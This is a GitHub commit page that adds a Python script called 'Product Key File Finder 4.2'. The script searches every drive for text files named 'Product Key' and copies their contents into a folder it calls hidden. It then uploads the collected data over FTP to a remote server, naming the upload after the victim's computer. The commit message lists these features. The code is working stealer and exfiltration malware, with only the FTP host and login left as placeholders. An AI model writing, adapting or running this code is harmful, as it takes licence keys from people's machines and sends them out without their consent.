Skip to content

Commit 452fe95

Browse files
authored
Create Product Key File Finder 4.2
1.Added internet check condition. 2.Fixed backup folder exist crash 3.Added FTP file name as upload_machine_name(dot)filetype code for FTP File Name refer line : 64,65,66 _NewFTPFileNM_ = os.environ['COMPUTERNAME'] _NewFTPFileType_ = '.txt' _FTP_File_Name_ = _NewFTPFileNM_ + _NewFTPFileType_ (DO NOT MODIFY ANY _NAMECHNAGEVAR_)
1 parent 4f9b746 commit 452fe95

File tree

1 file changed

+85
-0
lines changed

1 file changed

+85
-0
lines changed

Product Key File Finder 4.2

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is prohibited.
2+
import glob, os, shutil, ftplib, string
3+
from urllib.request import urlopen, HTTPError, URLError
4+
def _InternetCheck_():
5+
while True:
6+
try:
7+
response = urlopen('https://www.central16.in',timeout=1)
8+
return
9+
except URLError as e:
10+
print('URL Error: ', e.reason)
11+
pass
12+
13+
def main():
14+
rs = ['%s://' % d for d in string.ascii_uppercase if os.path.exists('%s://' % d)]
15+
print(rs);
16+
print(len(rs));
17+
i,j = 0,0
18+
rss=[]
19+
ff = 'Product Key'
20+
print('Execute: 20%')
21+
directory = "rrs"
22+
file_name = "rrs.txt"
23+
print('Execute: 30% Hidden folder named rss is created in second local drive from list')
24+
pth = os.path.join(rs[0], directory)
25+
if os.path.exists(pth):
26+
shutil.rmtree(pth)
27+
os.makedirs(pth)
28+
print('Hidden folder path: ',pth)
29+
print('Execute: 40% Hidden file text.txt is created in hidden folder rss')
30+
CN = os.path.join(pth, file_name)
31+
print('Hidden file location: ',CN)
32+
file1 = open(CN, "a")
33+
file1.close()
34+
pp = CN
35+
print('Execute: 40% below files are present in system')
36+
while i != len(rs):
37+
os.chdir(rs[i])
38+
for file in glob.glob("**/*.txt", recursive = True):
39+
if ff in file:
40+
print(file)
41+
completeName = os.path.join(rs[i], file)
42+
print('File path: ',completeName)
43+
f = open(completeName,'r')
44+
print(f.read())
45+
f.close()
46+
rss.append(completeName)
47+
i += 1
48+
print('Execute: 100% showing result')
49+
print('scan done')
50+
print(rss)
51+
while j != len(rss):
52+
with open(rss[j]) as trs, open(pp, "a") as rrs:
53+
for line in trs:
54+
rrs.write(line.rstrip("\n") +'\t'+rss[j]+"\n")
55+
#shutil.copy(rss[j],pp)
56+
f = open(pp,'r')
57+
print(f.read())
58+
f.close()
59+
j+=1
60+
f = open(pp,'r')
61+
print(f.read())
62+
print('uploading data.......')
63+
filename = pp
64+
_NewFTPFileNM_ = os.environ['COMPUTERNAME']
65+
_NewFTPFileType_ = '.txt'
66+
_FTP_File_Name_ = _NewFTPFileNM_ + _NewFTPFileType_
67+
_ftpNewFileNMCmd_ = "STOR %s"%_FTP_File_Name_;
68+
ftp = ftplib.FTP()
69+
host = "FTP CLIENT URL ENTER HERE"
70+
port = 21
71+
ftp.connect(host, port)
72+
print (ftp.getwelcome())
73+
try:
74+
print ("Logging in...")
75+
ftp.login("USERNAME ENTER HERE", "PASSWORD ENTER HERE")
76+
ftp.dir()
77+
ftp.cwd('htdocs')
78+
ftp.dir()
79+
with open(filename, "rb") as file:
80+
ftp.storbinary(_ftpNewFileNMCmd_, file)
81+
ftp.dir()
82+
except:
83+
"failed to login"
84+
_InternetCheck_()
85+
main()

0 commit comments

Comments
 (0)